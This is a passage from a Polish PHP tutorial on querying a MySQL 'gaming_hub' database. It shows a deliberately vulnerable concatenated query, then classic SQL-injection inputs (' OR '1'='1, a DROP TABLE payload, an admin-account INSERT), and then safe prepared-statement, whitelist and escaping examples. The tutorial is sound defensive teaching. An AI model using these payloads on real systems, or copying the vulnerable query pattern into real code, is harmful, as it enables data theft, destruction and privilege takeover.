    // Wyświetlanie w tabeli HTML
    echo '<table border="1" cellpadding="10" cellspacing="0">';
    echo '<tr>
            <th>ID</th>
            <th>Username</th>
            <th>Level</th>
            <th>Coins</th>
            <th>Rank</th>
            <th>Games</th>
            <th>Win Rate</th>
          </tr>';
    
    foreach ($wyniki as $wiersz) {
        // Obliczamy Win Rate (procent wygranych)
        $winRate = $wiersz['games_played'] > 0 
            ? round(($wiersz['wins'] / $wiersz['games_played']) * 100, 1) 
            : 0;
        
        $username = htmlspecialchars($wiersz['username']);
        $coins = number_format($wiersz['coins']);
        
        echo "<tr>";
        echo "<td>{$wiersz['id']}</td>";
        echo "<td>{$username}</td>";
        echo "<td>{$wiersz['level']}</td>";
        echo "<td>{$coins}</td>";
        echo "<td>{$wiersz['rank_name']}</td>";
        echo "<td>{$wiersz['games_played']}</td>";
        echo "<td>{$winRate}%</td>";
        echo "</tr>";
    }
    
    echo '</table>';
    
} catch (PDOException $e) {
    error_log("DB Error: {$e->getMessage()}");
    die('Błąd bazy danych');
}

// Zamknięcie połączenia
$pdo = null;
?>

BEZPIECZEŃSTWO – SQL Injection

SQL Injection to technika ataku, w której hacker wstrzykuje złośliwy kod SQL przez dane wejściowe (formularze, URL). To najczęstszy typ ataku na aplikacje webowe!

NIEBEZPIECZNY KOD (NIGDY TAK NIE RÓB!)

<?php
// PODATNE NA SQL INJECTION!

$username = $_POST['username'];

// Niebezpieczne zapytanie - łączenie stringów!
$sql = "SELECT * FROM players WHERE username = '$username'";
$wynik = $db->query($sql);

/*
PROBLEM: Użytkownik może wpisać złośliwy kod!
*/
?>

Jak działa atak SQL Injection?

Scenariusz 1: Normalny użytkownik
---------------------------------
Użytkownik wpisuje:         ProGamer_Mike
Zapytanie SQL:              SELECT * FROM players WHERE username = 'ProGamer_Mike'
Wynik:                      Zwraca dane gracza


Scenariusz 2: Hacker - ujawnienie wszystkich danych
---------------------------------------------------
Hacker wpisuje:             ' OR '1'='1
Zapytanie SQL:              SELECT * FROM players WHERE username = '' OR '1'='1'
Wynik:                      Zwraca WSZYSTKICH graczy!
Dlaczego?                   '1'='1' jest zawsze prawdą, więc warunek zawsze się spełnia


Scenariusz 3: Hacker - usunięcie tabeli
----------------------------------------
Hacker wpisuje:             '; DROP TABLE players; --
Zapytanie SQL:              SELECT * FROM players WHERE username = ''; DROP TABLE players; --'
Wynik:                      USUWA CAŁĄ TABELĘ! 
Dlaczego?                   Średnik (;) kończy pierwsze zapytanie, DROP TABLE usuwa tabelę,
                           -- komentuje resztę zapytania


Scenariusz 4: Hacker - dodanie administratora
----------------------------------------------
Hacker wpisuje:             '; INSERT INTO users (username, role) VALUES ('hacker', 'admin'); --
Wynik:                      Dodaje sobie konto z uprawnieniami admina! 

Rzeczywiste konsekwencje SQL Injection:

• Kradzież danych – haker może pobrać hasła, emaile, dane kart kredytowych
• Usunięcie danych – cała baza może zostać skasowana
• Modyfikacja danych – zmiana cen produktów, uprawnień użytkowników
• Przejęcie kontroli – dodanie konta administratora
• Kara prawna i finansowa – naruszenie RODO, utrata reputacji firmy

BEZPIECZNY KOD – Prepared Statements

BEZPIECZNY KOD – Prepared Statements

Prepared Statements (zapytania przygotowane) to mechanizm, który rozdziela kod SQL od danych. Baza danych najpierw „przygotowuje” zapytanie, a potem osobno przekazuje dane.

Dlaczego są bezpieczne?

• Separacja kodu i danych – SQL i dane są wysyłane osobno
• Automatyczne escapowanie – baza wie, że to dane, nie kod
• Niemożliwy injection – dane nie mogą zmienić struktury zapytania

Jak działają Prepared Statements?

Krok 1: Przygotowanie zapytania (prepare)
------------------------------------------
PHP do MySQL:  "Przygotuj zapytanie: SELECT * FROM players WHERE username = ?"
MySQL:         "OK, czekam na dane do znaku zapytania"


Krok 2: Wysłanie danych (execute/bind_param)
---------------------------------------------
PHP do MySQL:  "Podstaw wartość: ' OR '1'='1"
MySQL:         "OK, traktuję to jako TEKST, nie jako KOD SQL"


Krok 3: Wykonanie
-----------------
MySQL wykonuje: SELECT * FROM players WHERE username = '\' OR \'1\'=\'1\''
                                                          ↑ Escapowane apostrofy
Wynik:          Szuka gracza o nicku "' OR '1'='1" (nie znajdzie takiego)
                NIE WYKONUJE ataku!

Przykład działania – porównanie

// BEZ prepared statements (niebezpieczne):
$username = "' OR '1'='1";
$sql = "SELECT * FROM players WHERE username = '$username'";
// Zapytanie: SELECT * FROM players WHERE username = '' OR '1'='1'
// ATAK SKUTECZNY!


// Z prepared statements (bezpieczne):
$username = "' OR '1'='1";
$stmt = $pdo->prepare("SELECT * FROM players WHERE username = :username");
$stmt->execute(['username' => $username]);
// Zapytanie: SELECT * FROM players WHERE username = '\' OR \'1\'=\'1\''
// Szuka gracza o nicku "' OR '1'='1" - nie znajdzie
// ATAK ZABLOKOWANY!

SELECT z warunkiem WHERE – dane z formularza ($_POST)

Bezpieczne podejście z prepared statements – tak robimy.

Przykład 1: Pobierz wszystkich graczy (prepared statements) – MySQLi obiektowo:

<?php
// Połączenie z bazą
mysqli_report(MYSQLI_REPORT_OFF);
$db = @new mysqli('localhost', 'root', '', 'gaming_hub');

if ($db->connect_error) {
    die("Błąd połączenia: {$db->connect_error}");
}

$db->set_charset('utf8mb4');
echo 'Połączenie nawiązano<br><br>';

// BEZPIECZNE - Prepared statement
// Dla SELECT * bez parametrów też używamy prepare() (dobra praktyka)
$stmt = $db->prepare("SELECT * FROM players");
$stmt->execute();

// Pobranie wyniku
$wynik = $stmt->get_result();

// Sprawdzamy liczbę rekordów
$ile_wierszy = $wynik->num_rows;
echo "Znaleziono graczy: <strong>{$ile_wierszy}</strong><br><br>";

// Wyświetlamy w tabeli
echo '<table border="1" cellpadding="10" cellspacing="0">';
echo '<tr>
        <th>ID</th>
        <th>Username</th>
        <th>Level</th>
        <th>Coins</th>
        <th>Rank</th>
        <th>Wins/Losses</th>
      </tr>';

// Pętla while - pobieramy kolejne rekordy
while ($wiersz = $wynik->fetch_assoc()) {
    $username = htmlspecialchars($wiersz['username']);
    $coins = number_format($wiersz['coins']);
    
    echo "<tr>";
    echo "<td>{$wiersz['id']}</td>";
    echo "<td>{$username}</td>";
    echo "<td>{$wiersz['level']}</td>";
    echo "<td>{$coins}</td>";
    echo "<td>{$wiersz['rank_name']}</td>";
    echo "<td>{$wiersz['wins']}/{$wiersz['losses']}</td>";
    echo "</tr>";
}

echo '</table>';

// Zamknięcie
$stmt->close();
$db->close();
?>

PDO:

<?php
try {
    // Połączenie PDO
    $pdo = new PDO(
        'mysql:host=localhost;dbname=gaming_hub;charset=utf8mb4',
        'root',
        '',
        [
            PDO::ATTR_ERRMODE => PDO::ERRMODE_EXCEPTION,
            PDO::ATTR_DEFAULT_FETCH_MODE => PDO::FETCH_ASSOC,
            PDO::ATTR_EMULATE_PREPARES => false
        ]
    );
    
    echo 'Połączenie nawiązano<br><br>';
    
    // BEZPIECZNE - Prepared statement
    $stmt = $pdo->prepare("SELECT * FROM players");
    $stmt->execute();
    
    // Pobranie wszystkich wyników
    $wyniki = $stmt->fetchAll();
    
    $liczba_graczy = count($wyniki);
    echo "Znaleziono graczy: <strong>{$liczba_graczy}</strong><br><br>";
    
    // Wyświetlanie w tabeli HTML
    echo '<table border="1" cellpadding="10" cellspacing="0">';
    echo '<tr>
            <th>ID</th>
            <th>Username</th>
            <th>Level</th>
            <th>Coins</th>
            <th>Rank</th>
            <th>Games</th>
            <th>Win Rate</th>
          </tr>';
    
    foreach ($wyniki as $wiersz) {
        // Obliczamy Win Rate (procent wygranych)
        $winRate = $wiersz['games_played'] > 0 
            ? round(($wiersz['wins'] / $wiersz['games_played']) * 100, 1) 
            : 0;
        
        $username = htmlspecialchars($wiersz['username']);
        $coins = number_format($wiersz['coins']);
        
        echo "<tr>";
        echo "<td>{$wiersz['id']}</td>";
        echo "<td>{$username}</td>";
        echo "<td>{$wiersz['level']}</td>";
        echo "<td>{$coins}</td>";
        echo "<td>{$wiersz['rank_name']}</td>";
        echo "<td>{$wiersz['games_played']}</td>";
        echo "<td>{$winRate}%</td>";
        echo "</tr>";
    }
    
    echo '</table>';
    
} catch (PDOException $e) {
    error_log("DB Error: {$e->getMessage()}");
    die('Błąd bazy danych');
}

// Zamknięcie połączenia
$pdo = null;
?>

• Używamy htmlspecialchars() dla bezpieczeństwa (ochrona przed XSS)
• Używamy number_format() dla czytelności liczb (1234 → 1,234)
• PDO automatycznie zwraca tablice asocjacyjne (ustawiliśmy w opcjach)

Przykład 2: Wyszukiwanie gracza po nicku (formularz POST)

MySQLi obiektowo

<?php
mysqli_report(MYSQLI_REPORT_OFF);
$db = @new mysqli('localhost', 'root', '', 'gaming_hub');

if ($db->connect_error) {
    die('Błąd połączenia');
}

$db->set_charset('utf8mb4');

// Sprawdzamy czy formularz został wysłany
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
    // Pobieramy dane z formularza
    $username = trim($_POST['username'] ?? '');
    
    if (!empty($username)) {
        // BEZPIECZNE - Prepared statement
        $stmt = $db->prepare("SELECT * FROM players WHERE username = ?");
        
        // Bindowanie parametru (s = string)
        $stmt->bind_param("s", $username);
        
        // Wykonanie zapytania
        $stmt->execute();
        
        // Pobranie wyniku
        $wynik = $stmt->get_result();
        
        if ($gracz = $wynik->fetch_assoc()) {
            $safe_username = htmlspecialchars($gracz['username']);
            $safe_email = htmlspecialchars($gracz['email']);
            $coins = number_format($gracz['coins']);
            
            echo "<h2>Profil Gracza</h2>";
            echo "<strong>{$safe_username}</strong><br>";
            echo "Email: {$safe_email}<br>";
            echo "Level: {$gracz['level']}<br>";
            echo "Rank: {$gracz['rank_name']}<br>";
            echo "Coins: {$coins}<br>";
            echo "Games: {$gracz['games_played']} (W: {$gracz['wins']}, L: {$gracz['losses']})<br>";
        } else {
            $safe_search = htmlspecialchars($username);
            echo "Nie znaleziono gracza: {$safe_search}";
        }
        
        $stmt->close();
    } else {
        echo "Wpisz nick gracza!";
    }
}

$db->close();
?>

<!DOCTYPE html>
<html lang="pl">
<head>
    <meta charset="UTF-8">
    <title>Wyszukaj gracza</title>
    <style>
        body {
            font-family: Arial, sans-serif;
            max-width: 600px;
            margin: 50px auto;
            padding: 20px;
        }
        form {
            background: #f4f4f4;
            padding: 20px;
            border-radius: 8px;
            margin-bottom: 20px;
        }
        input[type="text"] {
            padding: 10px;
            width: 70%;
            border: 1px solid #ddd;
            border-radius: 4px;
        }
        button {
            padding: 10px 20px;
            background: #007bff;
            color: white;
            border: none;
            border-radius: 4px;
            cursor: pointer;
        }
        button:hover {
            background: #0056b3;
        }
    </style>
</head>
<body>

<h1>Wyszukaj gracza</h1>

<form method="POST">
    <input type="text" name="username" placeholder="Wpisz nick gracza" value="<?= htmlspecialchars($_POST['username'] ?? '') ?>" required>
    <button type="submit" name="szukaj">Szukaj</button>
</form>

</body>
</html>

PDO

<?php
try {
    $pdo = new PDO(
        'mysql:host=localhost;dbname=gaming_hub;charset=utf8mb4',
        'root',
        '',
        [
            PDO::ATTR_ERRMODE => PDO::ERRMODE_EXCEPTION,
            PDO::ATTR_DEFAULT_FETCH_MODE => PDO::FETCH_ASSOC,
            PDO::ATTR_EMULATE_PREPARES => false
        ]
    );
    
    // Sprawdzamy czy formularz został wysłany
    if ($_SERVER['REQUEST_METHOD'] === 'POST') {
        // Pobieramy dane z formularza
        $username = trim($_POST['username'] ?? '');
        
        if (!empty($username)) {
            // BEZPIECZNE - Prepared statement z named parameter
            $stmt = $pdo->prepare("SELECT * FROM players WHERE username = :username");
            $stmt->execute(['username' => $username]);
            
            $gracz = $stmt->fetch();
            
            if ($gracz) {
                $safe_username = htmlspecialchars($gracz['username']);
                $safe_email = htmlspecialchars($gracz['email']);
                $coins = number_format($gracz['coins']);
                
                echo "<h2>Profil Gracza</h2>";
                echo "<strong>{$safe_username}</strong><br>";
                echo "Email: {$safe_email}<br>";
                echo "Level: {$gracz['level']}<br>";
                echo "Rank: {$gracz['rank_name']}<br>";
                echo "Coins: {$coins}<br>";
                echo "Games: {$gracz['games_played']} (W: {$gracz['wins']}, L: {$gracz['losses']})<br>";
            } else {
                $safe_search = htmlspecialchars($username);
                echo "Nie znaleziono gracza: {$safe_search}";
            }
        } else {
            echo "Wpisz nick gracza!";
        }
    }
    
} catch (PDOException $e) {
    error_log("DB Error: {$e->getMessage()}");
    die('Błąd bazy danych');
}

$pdo = null;
?>

<!DOCTYPE html>
<html lang="pl">
<head>
    <meta charset="UTF-8">
    <title>Wyszukaj gracza</title>
    <style>
        body {
            font-family: Arial, sans-serif;
            max-width: 600px;
            margin: 50px auto;
            padding: 20px;
        }
        form {
            background: #f4f4f4;
            padding: 20px;
            border-radius: 8px;
            margin-bottom: 20px;
        }
        input[type="text"] {
            padding: 10px;
            width: 70%;
            border: 1px solid #ddd;
            border-radius: 4px;
        }
        button {
            padding: 10px 20px;
            background: #007bff;
            color: white;
            border: none;
            border-radius: 4px;
            cursor: pointer;
        }
        button:hover {
            background: #0056b3;
        }
    </style>
</head>
<body>

<h1>Wyszukaj gracza</h1>

<form method="POST">
    <input type="text" name="username" placeholder="Wpisz nick gracza" value="<?= htmlspecialchars($_POST['username'] ?? '') ?>" required>
    <button type="submit" name="szukaj">Szukaj</button>
</form>

</body>
</html>

SELECT z warunkiem WHERE – dane z URL ($_GET)

Przykład 3: Profil gracza przez URL (GET)

Adres URL: profil.php?id=5 lub profil.php?username=ProGamer_Mike

MySQLi obiektowo:

<?php
// profil.php
mysqli_report(MYSQLI_REPORT_OFF);
$db = @new mysqli('localhost', 'root', '', 'gaming_hub');

if ($db->connect_error) {
    die('Błąd połączenia');
}

$db->set_charset('utf8mb4');

if ($_SERVER['REQUEST_METHOD'] === 'GET' && isset($_GET['id'])) {
    // Pobieramy ID z URL
    $player_id = (int)$_GET['id'];
    
    if ($player_id > 0) {
        // BEZPIECZNE - Prepared statement
        $stmt = $db->prepare("SELECT * FROM players WHERE id = ?");
        $stmt->bind_param("i", $player_id);  // i = integer
        $stmt->execute();
        
        $wynik = $stmt->get_result();
        
        if ($gracz = $wynik->fetch_assoc()) {
            $username = htmlspecialchars($gracz['username']);
            $email = htmlspecialchars($gracz['email']);
            $coins = number_format($gracz['coins']);
            
            echo "<h1>Profil gracza</h1>";
            echo "<div style='background:#f4f4f4; padding:20px; border-radius:8px;'>";
            echo "<h2>{$username}</h2>";
            echo "<p>Email: {$email}</p>";
            echo "<p>Level: <strong>{$gracz['level']}</strong></p>";
            echo "<p>Rank: <strong>{$gracz['rank_name']}</strong></p>";
            echo "<p>Coins: <strong>{$coins}</strong></p>";
            echo "<p>Rozegrane gry: {$gracz['games_played']}</p>";
            echo "<p>Wygrane: {$gracz['wins']}</p>";
            echo "<p>Przegrane: {$gracz['losses']}</p>";
            
            // Win Rate
            $winRate = $gracz['games_played'] > 0 
                ? round(($gracz['wins'] / $gracz['games_played']) * 100, 1) 
                : 0;
            echo "<p>Win Rate: <strong>{$winRate}%</strong></p>";
            echo "</div>";
        } else {
            echo "Nie znaleziono gracza o ID: {$player_id}";
        }
        
        $stmt->close();
    } else {
        echo "Nieprawidłowe ID gracza";
    }
} else {
    echo "Podaj ID gracza w URL (np. profil.php?id=5)";
}

$db->close();

// Lista linków do innych graczy
echo "<br><hr><h3>Inni gracze:</h3>";
echo "<a href='profil.php?id=1'>Gracz #1</a> | ";
echo "<a href='profil.php?id=2'>Gracz #2</a> | ";
echo "<a href='profil.php?id=3'>Gracz #3</a> | ";
echo "<a href='profil.php?id=7'>Gracz #7</a>";
?>

PDO:

<?php
// profil.php
try {
    $pdo = new PDO(
        'mysql:host=localhost;dbname=gaming_hub;charset=utf8mb4',
        'root',
        '',
        [
            PDO::ATTR_ERRMODE => PDO::ERRMODE_EXCEPTION,
            PDO::ATTR_DEFAULT_FETCH_MODE => PDO::FETCH_ASSOC,
            PDO::ATTR_EMULATE_PREPARES => false
        ]
    );
    
    // sprawdzamy metodę HTTP i parametr
    if ($_SERVER['REQUEST_METHOD'] === 'GET' && isset($_GET['id'])) {
        // Pobieramy ID z URL
        $player_id = (int)$_GET['id'];
        
        if ($player_id > 0) {
            // BEZPIECZNE - Prepared statement
            $stmt = $pdo->prepare("SELECT * FROM players WHERE id = :id");
            $stmt->execute(['id' => $player_id]);
            
            $gracz = $stmt->fetch();
            
            if ($gracz) {
                $username = htmlspecialchars($gracz['username']);
                $email = htmlspecialchars($gracz['email']);
                $coins = number_format($gracz['coins']);
                
                echo "<h1>Profil gracza</h1>";
                echo "<div style='background:#f4f4f4; padding:20px; border-radius:8px;'>";
                echo "<h2>{$username}</h2>";
                echo "<p>Email: {$email}</p>";
                echo "<p>Level: <strong>{$gracz['level']}</strong></p>";
                echo "<p>Rank: <strong>{$gracz['rank_name']}</strong></p>";
                echo "<p>Coins: <strong>{$coins}</strong></p>";
                echo "<p>Rozegrane gry: {$gracz['games_played']}</p>";
                echo "<p>Wygrane: {$gracz['wins']}</p>";
                echo "<p>Przegrane: {$gracz['losses']}</p>";
                
                // Win Rate
                $winRate = $gracz['games_played'] > 0 
                    ? round(($gracz['wins'] / $gracz['games_played']) * 100, 1) 
                    : 0;
                echo "<p>Win Rate: <strong>{$winRate}%</strong></p>";
                echo "</div>";
            } else {
                echo "Nie znaleziono gracza o ID: {$player_id}";
            }
        } else {
            echo "Nieprawidłowe ID gracza";
        }
    } else {
        echo "Podaj ID gracza w URL (np. profil.php?id=5)";
    }
    
} catch (PDOException $e) {
    error_log("DB Error: {$e->getMessage()}");
    die('Błąd bazy danych');
}

$pdo = null;

// Lista linków do innych graczy
echo "<br><hr><h3>Inni gracze:</h3>";
echo "<a href='profil.php?id=1'>Gracz #1</a> | ";
echo "<a href='profil.php?id=2'>Gracz #2</a> | ";
echo "<a href='profil.php?id=3'>Gracz #3</a> | ";
echo "<a href='profil.php?id=7'>Gracz #7</a>";
?>

Przykład 4: Wyszukiwarka z wieloma filtrami (formularz POST)

MySQLi obiektowo:

<?php
mysqli_report(MYSQLI_REPORT_OFF);
$db = @new mysqli('localhost', 'root', '', 'gaming_hub');

if ($db->connect_error) {
    die('Błąd połączenia');
}

$db->set_charset('utf8mb4');

if ($_SERVER['REQUEST_METHOD'] === 'POST') {
    // Pobieramy dane z formularza
    $username = trim($_POST['username'] ?? '');
    $rank = $_POST['rank'] ?? '';
    $min_level = (int)($_POST['min_level'] ?? 0);
    
    // Budujemy zapytanie dynamicznie (BEZPIECZNIE!)
    $sql = "SELECT * FROM players WHERE 1=1";
    $types = "";
    $params = [];
    
    if (!empty($username)) {
        $sql .= " AND username LIKE ?";
        $types .= "s";
        $params[] = "%{$username}%";
    }
    
    if (!empty($rank)) {
        $sql .= " AND rank_name = ?";
        $types .= "s";
        $params[] = $rank;
    }
    
    if ($min_level > 0) {
        $sql .= " AND level >= ?";
        $types .= "i";
        $params[] = $min_level;
    }
    
    $sql .= " ORDER BY level DESC";
    
    // Przygotowanie i wykonanie zapytania
    $stmt = $db->prepare($sql);
    
    if (!empty($params)) {
        $stmt->bind_param($types, ...$params);
    }
    
    $stmt->execute();
    $wynik = $stmt->get_result();
    
    // Wyświetlamy wyniki
    if ($wynik->num_rows > 0) {
        echo "<h3>Znaleziono: {$wynik->num_rows} graczy</h3>";
        
        echo '<table border="1" cellpadding="10" style="width:100%; border-collapse:collapse;">';
        echo '<tr style="background:#007bff; color:white;">
                <th>Username</th>
                <th>Level</th>
                <th>Rank</th>
                <th>Coins</th>
                <th>Games</th>
              </tr>';
        
        while ($gracz = $wynik->fetch_assoc()) {
            $safe_username = htmlspecialchars($gracz['username']);
            $coins = number_format($gracz['coins']);
            
            echo "<tr>";
            echo "<td>{$safe_username}</td>";
            echo "<td>{$gracz['level']}</td>";
            echo "<td>{$gracz['rank_name']}</td>";
            echo "<td>{$coins}</td>";
            echo "<td>{$gracz['games_played']}</td>";
            echo "</tr>";
        }
        
        echo '</table>';
    } else {
        echo "<p>Nie znaleziono graczy spełniających kryteria</p>";
    }
    
    $stmt->close();
}

$db->close();
?>

<!DOCTYPE html>
<html lang="pl">
<head>
    <meta charset="UTF-8">
    <title>Wyszukiwarka graczy</title>
    <style>
        body {
            font-family: Arial, sans-serif;
            max-width: 1000px;
            margin: 50px auto;
            padding: 20px;
        }
        form {
            background: #f4f4f4;
            padding: 20px;
            border-radius: 8px;
            margin-bottom: 20px;
        }
        input, select {
            padding: 10px;
            margin: 5px;
            border: 1px solid #ddd;
            border-radius: 4px;
        }
        button {
            padding: 10px 20px;
            background: #007bff;
            color: white;
            border: none;
            border-radius: 4px;
            cursor: pointer;
        }
        button:hover {
            background: #0056b3;
        }
        table {
            width: 100%;
            border-collapse: collapse;
        }
        tr:hover {
            background: #f5f5f5;
        }
    </style>
</head>
<body>

<h1>Wyszukiwarka Graczy</h1>

<form method="POST">
    <input type="text" name="username" placeholder="Nick gracza (fragment)" value="<?= htmlspecialchars($_POST['username'] ?? '') ?>">
    
    <select name="rank">
        <option value="">Wszystkie rangi</option>
        <option value="Bronze" <?= ($_POST['rank'] ?? '') == 'Bronze' ? 'selected' : '' ?>>Bronze</option>
        <option value="Silver" <?= ($_POST['rank'] ?? '') == 'Silver' ? 'selected' : '' ?>>Silver</option>
        <option value="Gold" <?= ($_POST['rank'] ?? '') == 'Gold' ? 'selected' : '' ?>>Gold</option>
        <option value="Platinum" <?= ($_POST['rank'] ?? '') == 'Platinum' ? 'selected' : '' ?>>Platinum</option>
        <option value="Diamond" <?= ($_POST['rank'] ?? '') == 'Diamond' ? 'selected' : '' ?>>Diamond</option>
        <option value="Master" <?= ($_POST['rank'] ?? '') == 'Master' ? 'selected' : '' ?>>Master</option>
        <option value="Grandmaster" <?= ($_POST['rank'] ?? '') == 'Grandmaster' ? 'selected' : '' ?>>Grandmaster</option>
    </select>
    
    <input type="number" name="min_level" placeholder="Min. poziom" min="1" value="<?= htmlspecialchars($_POST['min_level'] ?? '') ?>">
    
    <button type="submit" name="szukaj">Szukaj</button>
</form>

</body>
</html>

PDO:

<?php
try {
    $pdo = new PDO(
        'mysql:host=localhost;dbname=gaming_hub;charset=utf8mb4',
        'root',
        '',
        [
            PDO::ATTR_ERRMODE => PDO::ERRMODE_EXCEPTION,
            PDO::ATTR_DEFAULT_FETCH_MODE => PDO::FETCH_ASSOC,
            PDO::ATTR_EMULATE_PREPARES => false
        ]
    );
    
    if ($_SERVER['REQUEST_METHOD'] === 'POST') {
        // Pobieramy dane z formularza
        $username = trim($_POST['username'] ?? '');
        $rank = $_POST['rank'] ?? '';
        $min_level = (int)($_POST['min_level'] ?? 0);
        
        // Budujemy zapytanie dynamicznie (BEZPIECZNIE!)
        $sql = "SELECT * FROM players WHERE 1=1";
        $params = [];
        
        if (!empty($username)) {
            $sql .= " AND username LIKE :username";
            $params['username'] = "%{$username}%";
        }
        
        if (!empty($rank)) {
            $sql .= " AND rank_name = :rank";
            $params['rank'] = $rank;
        }
        
        if ($min_level > 0) {
            $sql .= " AND level >= :min_level";
            $params['min_level'] = $min_level;
        }
        
        $sql .= " ORDER BY level DESC";
        
        // Wykonujemy zapytanie
        $stmt = $pdo->prepare($sql);
        $stmt->execute($params);
        $wyniki = $stmt->fetchAll();
        
        // Wyświetlamy wyniki
        $liczba = count($wyniki);
        if ($liczba > 0) {
            echo "<h3>Znaleziono: {$liczba} graczy</h3>";
            
            echo '<table border="1" cellpadding="10" style="width:100%; border-collapse:collapse;">';
            echo '<tr style="background:#007bff; color:white;">
                    <th>Username</th>
                    <th>Level</th>
                    <th>Rank</th>
                    <th>Coins</th>
                    <th>Games</th>
                  </tr>';
            
            foreach ($wyniki as $gracz) {
                $safe_username = htmlspecialchars($gracz['username']);
                $coins = number_format($gracz['coins']);
                
                echo "<tr>";
                echo "<td>{$safe_username}</td>";
                echo "<td>{$gracz['level']}</td>";
                echo "<td>{$gracz['rank_name']}</td>";
                echo "<td>{$coins}</td>";
                echo "<td>{$gracz['games_played']}</td>";
                echo "</tr>";
            }
            
            echo '</table>';
        } else {
            echo "<p>Nie znaleziono graczy spełniających kryteria</p>";
        }
    }
    
} catch (PDOException $e) {
    error_log("DB Error: {$e->getMessage()}");
    die('Błąd bazy danych');
}

$pdo = null;
?>

<!DOCTYPE html>
<html lang="pl">
<head>
    <meta charset="UTF-8">
    <title>Wyszukiwarka graczy</title>
    <style>
        body {
            font-family: Arial, sans-serif;
            max-width: 1000px;
            margin: 50px auto;
            padding: 20px;
        }
        form {
            background: #f4f4f4;
            padding: 20px;
            border-radius: 8px;
            margin-bottom: 20px;
        }
        input, select {
            padding: 10px;
            margin: 5px;
            border: 1px solid #ddd;
            border-radius: 4px;
        }
        button {
            padding: 10px 20px;
            background: #007bff;
            color: white;
            border: none;
            border-radius: 4px;
            cursor: pointer;
        }
        button:hover {
            background: #0056b3;
        }
        table {
            width: 100%;
            border-collapse: collapse;
        }
        tr:hover {
            background: #f5f5f5;
        }
    </style>
</head>
<body>

<h1>Wyszukiwarka Graczy</h1>

<form method="POST">
    <input type="text" name="username" placeholder="Nick gracza (fragment)" value="<?= htmlspecialchars($_POST['username'] ?? '') ?>">
    
    <select name="rank">
        <option value="">Wszystkie rangi</option>
        <option value="Bronze" <?= ($_POST['rank'] ?? '') == 'Bronze' ? 'selected' : '' ?>>Bronze</option>
        <option value="Silver" <?= ($_POST['rank'] ?? '') == 'Silver' ? 'selected' : '' ?>>Silver</option>
        <option value="Gold" <?= ($_POST['rank'] ?? '') == 'Gold' ? 'selected' : '' ?>>Gold</option>
        <option value="Platinum" <?= ($_POST['rank'] ?? '') == 'Platinum' ? 'selected' : '' ?>>Platinum</option>
        <option value="Diamond" <?= ($_POST['rank'] ?? '') == 'Diamond' ? 'selected' : '' ?>>Diamond</option>
        <option value="Master" <?= ($_POST['rank'] ?? '') == 'Master' ? 'selected' : '' ?>>Master</option>
        <option value="Grandmaster" <?= ($_POST['rank'] ?? '') == 'Grandmaster' ? 'selected' : '' ?>>Grandmaster</option>
    </select>
    
    <input type="number" name="min_level" placeholder="Min. poziom" min="1" value="<?= htmlspecialchars($_POST['min_level'] ?? '') ?>">
    
    <button type="submit" name="szukaj">Szukaj</button>
</form>

</body>
</html>

Przykład 5: Ranking graczy – sortowanie i limit (GET)

Adres URL: ranking.php?sort=level&order=desc&limit=10

MySQLi obiektowo:

<?php
// ranking.php
mysqli_report(MYSQLI_REPORT_OFF);
$db = @new mysqli('localhost', 'root', '', 'gaming_hub');

if ($db->connect_error) {
    die('Błąd połączenia');
}

$db->set_charset('utf8mb4');

if ($_SERVER['REQUEST_METHOD'] === 'GET') {
    // Pobieramy parametry z URL
    $sort = $_GET['sort'] ?? 'level';
    $order = $_GET['order'] ?? 'desc';
    $limit = (int)($_GET['limit'] ?? 10);
    
    // Walidacja parametrów (whitelist - tylko dozwolone wartości)
    $allowed_sort = ['level', 'coins', 'wins', 'games_played'];
    $allowed_order = ['asc', 'desc'];
    
    if (!in_array($sort, $allowed_sort)) {
        $sort = 'level';
    }
    
    if (!in_array($order, $allowed_order)) {
        $order = 'desc';
    }
    
    if ($limit < 1 || $limit > 100) {
        $limit = 10;
    }
    
    // BEZPIECZNE - używamy walidacji + prepared statement dla limitu
    // Kolumny sortowania są z whitelisty, więc bezpieczne
    $sql = "SELECT * FROM players ORDER BY {$sort} {$order} LIMIT ?";
    $stmt = $db->prepare($sql);
    $stmt->bind_param("i", $limit);
    $stmt->execute();
    
    $wynik = $stmt->get_result();
    
    $sort_label = [
        'level' => 'poziomu',
        'coins' => 'coins',
        'wins' => 'wygranych',
        'games_played' => 'rozegranych gier'
    ];
    
    echo "<h1>Ranking graczy (wg {$sort_label[$sort]})</h1>";
    echo "<p>Top {$limit} graczy</p>";
    
    echo '<table border="1" cellpadding="10" style="width:100%; border-collapse:collapse;">';
    echo '<tr style="background:#007bff; color:white;">
            <th>#</th>
            <th>Username</th>
            <th>Level</th>
            <th>Rank</th>
            <th>Coins</th>
            <th>Wins</th>
            <th>Games</th>
          </tr>';
    
    $pozycja = 1;
    while ($gracz = $wynik->fetch_assoc()) {
        $username = htmlspecialchars($gracz['username']);
        $coins = number_format($gracz['coins']);
        
        echo "<tr>";
        echo "<td><strong>#{$pozycja}</strong></td>";
        echo "<td>{$username}</td>";
        echo "<td>{$gracz['level']}</td>";
        echo "<td>{$gracz['rank_name']}</td>";
        echo "<td>{$coins}</td>";
        echo "<td>{$gracz['wins']}</td>";
        echo "<td>{$gracz['games_played']}</td>";
        echo "</tr>";
        $pozycja++;
    }
    
    echo '</table>';
    
    echo "<br><p>Zmień sortowanie:</p>";
    echo "<a href='ranking.php?sort=level&order=desc&limit=10'>Top 10 Level</a> | ";
    echo "<a href='ranking.php?sort=coins&order=desc&limit=5'>Top 5 Coins</a> | ";
    echo "<a href='ranking.php?sort=wins&order=desc&limit=20'>Top 20 Wins</a>";
    
    $stmt->close();
}

$db->close();
?>

PDO:

<?php
// ranking.php
try {
    $pdo = new PDO(
        'mysql:host=localhost;dbname=gaming_hub;charset=utf8mb4',
        'root',
        '',
        [
            PDO::ATTR_ERRMODE => PDO::ERRMODE_EXCEPTION,
            PDO::ATTR_DEFAULT_FETCH_MODE => PDO::FETCH_ASSOC,
            PDO::ATTR_EMULATE_PREPARES => false
        ]
    );
    
    if ($_SERVER['REQUEST_METHOD'] === 'GET') {
        // Pobieramy parametry z URL
        $sort = $_GET['sort'] ?? 'level';
        $order = $_GET['order'] ?? 'desc';
        $limit = (int)($_GET['limit'] ?? 10);
        
        // Walidacja parametrów (whitelist - tylko dozwolone wartości)
        $allowed_sort = ['level', 'coins', 'wins', 'games_played'];
        $allowed_order = ['asc', 'desc'];
        
        if (!in_array($sort, $allowed_sort)) {
            $sort = 'level';
        }
        
        if (!in_array($order, $allowed_order)) {
            $order = 'desc';
        }
        
        if ($limit < 1 || $limit > 100) {
